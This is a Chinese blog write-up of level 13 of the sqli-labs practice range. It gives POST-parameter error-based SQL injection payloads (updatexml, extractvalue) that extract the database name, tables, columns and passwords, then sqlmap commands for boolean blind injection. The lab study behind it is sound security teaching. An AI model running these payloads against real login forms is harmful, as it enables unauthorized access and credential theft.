当前位置: 首页 > article >正文

web——sqliabs靶场——第十三关——报错注入+布尔盲注

发现是单引号加括号闭合的 

尝试联合注入

发现不太行,那尝试报错注入。

测试报错注入

uname=admin') and updatexml(1,0x7e,3) -- +&passwd=admin&submit=Submit

爆数据库

uname=admin') and updatexml(1,concat(0x7e,database(),0x7e),3) -- +&passwd=admin&submit=Submit

 

新学一个函数extractvalue()

extractvalue()
作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
语法: extractvalue( XML_document, XPath_string )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
报错原理:xml文档中查找字符位置是用/xxx/xxx/xxx/...这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx‘
最大只能显示32个字符,所以要配合limit进行使用

爆表名

uname=admin') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))-- +&passwd=admin&submit=Submit

 通过更改limit后的值来获得表名

爆列名

uname=admin') and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name= 'users' limit 1,1)))-- +&passwd=admin&submit=Submit

更改limit后的值来得到

爆具体内容 

uname=1')and updatexml(1,concat(0x7e,(select password from users limit 2,1)),3)#&passwd=admin&submit=Submit

布尔盲注

这个是post传参,和之前的不一样

用sqlmap的post传参来搞

1.用bp抓包,将抓包结果放在456.txt文件里

sqlmap -r 456.txt --batch -dbs 

 

查询到数据库名

2.查询表名

sqlmap -r 456.txt --batch -tables -D security

 

3.查询列名

sqlmap -r 456.txt --batch -columns -D security -T users

4.查询数据

sqlmap -r 456.txt --batch -dump -D security -T users -C password,username 

结束

 


http://www.kler.cn/a/402681.html

相关文章:

  • 构建高效在线教育:SpringBoot课程管理系统
  • Oracle 单实例、RAC 集群数据库修改 REDO 日志组
  • 【Android】Service使用方法:本地服务 / 可通信服务 / 前台服务 / 远程服务(AIDL)
  • SQL深入理解递归查询与层级结构的处理:以拼接ID路径为例
  • 小R的二叉树探险 | 模拟
  • 《现代制造技术与装备》是什么级别的期刊?是正规期刊吗?能评职称吗?
  • 告别反馈滞后!看板管理让UX设计流程更流畅
  • 208.实现前缀树 207.课程表
  • 22.UE5控件切换器,存档列表,
  • aws上安装ssm-agent
  • 16:00面试,16:06就出来了,问的问题有点变态。。。
  • 【蓝桥杯C/C++】翻转游戏:多种实现与解法解析
  • 【云原生开发】K8S集群调度资源deployment,daemonset,statefulset,cronjob,节点管理等开发设计与实现
  • 开源模型应用落地-Qwen2.5-7B-Instruct与vllm实现离线推理-性能分析(四)
  • C++游戏开发面试题及参考答案
  • [java] 2024--今日头条面试题及参考答案
  • 非对称之美(贪心)
  • 基于SpringBoot的“简历系统”的设计与实现(源码+数据库+文档+PPT)
  • 梳理游戏就业的方向
  • ArcGIS Pro ADGeoProcessing DAML
  • Neo4j下载及其Cypher语法介绍
  • Rust中::和.的区别
  • 自动化立体仓库:详解
  • jvm虚拟机基础学习笔记--黑马程序员--1
  • 聊聊Flink:Flink的分区机制
  • ssm144基于SSM的校园二手物品交易平台+vue(论文+源码)_kaic